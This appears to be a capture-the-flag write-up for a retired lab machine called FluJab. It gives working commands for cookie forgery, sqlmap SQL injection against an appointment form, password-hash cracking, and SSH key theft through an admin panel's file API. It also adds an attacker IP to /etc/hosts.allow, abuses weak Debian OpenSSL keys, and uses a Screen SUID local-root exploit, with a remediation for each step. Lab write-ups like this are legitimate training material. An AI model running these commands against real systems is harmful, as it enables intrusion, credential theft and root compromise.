FluJab
Summary
I inspected the TLS certificate on the target's HTTPS proxy and discovered a Subject Alternative Names list that mapped every internal virtual hostname, including administrative consoles never intended to be public. A client-side cookie on the flu-vaccination portal was set to the base64 encoding of <withheld> to unlock a hidden SMTP configuration panel, which redirected outbound mail to my own listener. A forged patient-session cookie bypassed the normal booking workflow, exposing an appointment-reminder form whose 'nhsnum' parameter was passed unsanitised into MySQL; a UNION-based injection dumped the admin table, yielding the 'sysadm' account and a SHA256 password hash that was cracked offline in seconds against a common wordlist.
Those credentials authenticated to an Ajenti administration panel on port 8080 whose file-viewer accepted arbitrary filesystem paths, leaking drno's SSH private key and the authorized_keys file. A network restriction enforced by TCP wrappers was neutralised by writing $ATTACKER_IP into /etc/hosts.allow through the same Ajenti file-write API. Drno's 4096-bit RSA key turned out to have been generated by a Debian system running the broken OpenSSL random-number generator (CVE-2008-0166), reducing the entire keyspace to roughly 32 000 predictable keys; a precomputed corpus match recovered the private key without cracking a passphrase.
SSH login as drno followed. A SUID-root installation of GNU Screen 4.5.0, vulnerable to CVE-2017-5618, was exploited from the drno session to achieve a root shell and read the root flag.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"
export HEX_ID="<a-value-you-captured-earlier>"Some commands also carry a value in angle brackets (<forged_registered>, <patient_cookie>, <patient_id>, <sha256_hash_from_sqlmap>), which you replace inline with what the step before it turned up.
Attack path: how the box was taken
Exact commands 2
Pull SANs from the port-443 cert; repeat substituting 8080 for the admin panel cert.
$ echo | openssl s_client -connect $TARGET:443 -servername flujab.htb 2>/dev/null | openssl x509 -noout -ext subjectAltNameMap all discovered vhosts to the target IP for name-based routing.
$ echo "$TARGET flujab.htb freeflujab.htb vaccine4flu.htb smtp.flujab.htb sys.flujab.htb console.flujab.htb sysadmin-console-01.flujab.htb" | sudo tee -a /etc/hostsFixRemove internal and administrative hostnames from the public-facing TLS certificateMedium
Exact commands 2
Confirm the hidden panel is accessible with the forged cookie.
$ curl -sk -b "Modus=$PASSWORD" 'https://freeflujab.htb/?smtp_config'Redirect outbound mail to my listener; replace $ATTACKER_IP with your machine's IP.
$ curl -sk -b "Modus=$PASSWORD" -X POST 'https://freeflujab.htb/?smtp_config' --data "mailserver=$ATTACKER_IP&port=25&save=Save+Mail+Server+Config"FixReplace client-side cookie-based feature gating with server-side authenticationCritical
Exact commands 3
Register to obtain the Patient cookie; note the assigned patient ID from the response.
$ curl -sk -X POST 'https://freeflujab.htb/?register' --data 'action=register' -c patient_cookies.txt -v 2>&1 | grep -i 'set-cookie'Forge the Registered cookie; replace <patient_id> with the numeric ID from registration.
$ python3 -c "import base64, sys; print(base64.b64encode(('<patient_id>=True').encode()).decode())"Automate UNION injection to dump the admin table; substitute real cookie values captured above.
$ sqlmap -u 'https://freeflujab.htb/?remind' --data 'nhsnum=1' --cookie "Patient=<patient_cookie>; Registered=<forged_registered>; Modus=$PASSWORD" --dbms mysql -D vaccinations -T admin --dump --batch --level 2FixParameterize all SQL queries to prevent injection through the appointment-reminder formCritical
Exact commands 2
Crack the dumped hash; replace <<withheld>> with the value returned by sqlmap.
$ echo '<sha256_hash_from_sqlmap>' > hash.txt && john --format=Raw-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt hash.txtDisplay the recovered plaintext password once cracking completes.
$ john --show --format=Raw-SHA256 hash.txtFixRe-hash stored passwords using a slow, salted algorithmHigh
Exact commands 4
Authenticate to Ajenti and save the session cookie to ajenti.txt.
$ curl -sk -X POST 'https://sysadmin-console-01.flujab.htb:8080/api/core/auth' -H 'Content-Type: application/json' -d '{"username":"sysadm","password":"'"$PASSWORD3"'","mode":"normal"}' -c ajenti.txtRead drno's authorized_keys via the unrestricted path to obtain the RSA public key blob.
$ curl -sk -b ajenti.txt 'https://sysadmin-console-01.flujab.htb:8080/api/filesystem/read//home/drno/.ssh/authorized_keys?encoding=utf-8'Download drno's encrypted SSH private key for offline analysis.
$ curl -sk -b ajenti.txt 'https://sysadmin-console-01.flujab.htb:8080/api/filesystem/read//home/drno/.ssh/user_key?encoding=utf-8' -o drno_user_keyAppend $ATTACKER_IP to /etc/hosts.allow to remove the TCP wrappers SSH restriction; replace $ATTACKER_IP.
$ curl -sk -b ajenti.txt -X POST 'https://sysadmin-console-01.flujab.htb:8080/api/filesystem/write//etc/hosts.allow' --data-urlencode "content=sshd: $ATTACKER_IP"FixRestrict the Ajenti file-manager API to safe paths and remove write access to system filesCritical
Exact commands 3
Find the matching corpus .pub file by comparing the base64 public-key blob.
$ grep -rl -F "$(awk '{print $2}' /tmp/flujab_drno_authorized_keys)" /tmp/debian-ssh-4096/rsa/4096/*.pubSet correct permissions on the matched private key before use.
$ chmod 600 /tmp/debian-ssh-4096/rsa/4096/$HEX_ID-23269Log in as drno using the recovered weak private key; output contains <user.txt>.
$ ssh -i /tmp/debian-ssh-4096/rsa/4096/$HEX_ID-23269 -o BatchMode=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null drno@$TARGET 'id; cat /home/drno/user.txt'FixRevoke and replace all SSH keys generated by vulnerable Debian OpenSSL (CVE-2008-0166)Critical
Exact commands 4
Verify the SUID bit and confirm version 4.05.00 before running the exploit.
$ ssh -i /tmp/debian-ssh-4096/rsa/4096/$HEX_ID-23269 -o StrictHostKeyChecking=no drno@$TARGET 'ls -la /usr/bin/screen; screen -v'Locate the exploit-db local-root script for CVE-2017-5618.
$ searchsploit -p 41154Transfer the exploit to the target.
$ scp -i /tmp/debian-ssh-4096/rsa/4096/$HEX_ID-23269 -o StrictHostKeyChecking=no /usr/share/exploitdb/exploits/linux/local/41154.sh drno@$TARGET:/tmp/41154.shExecute the exploit to obtain a root shell; output contains <root.txt>.
$ ssh -i /tmp/debian-ssh-4096/rsa/4096/$HEX_ID-23269 -o StrictHostKeyChecking=no drno@$TARGET 'chmod +x /tmp/41154.sh && bash /tmp/41154.sh && cat /root/root.txt'FixRemove the SUID bit from GNU Screen and upgrade to a patched versionCritical
Attack patterns used
The transferable techniques behind this compromise.
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic: bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive, per GTFOBins, yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http nginx |
| 443/tcp | ssl/https ClownWare Proxy |
| 8080/tcp | ssl/http nginx |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.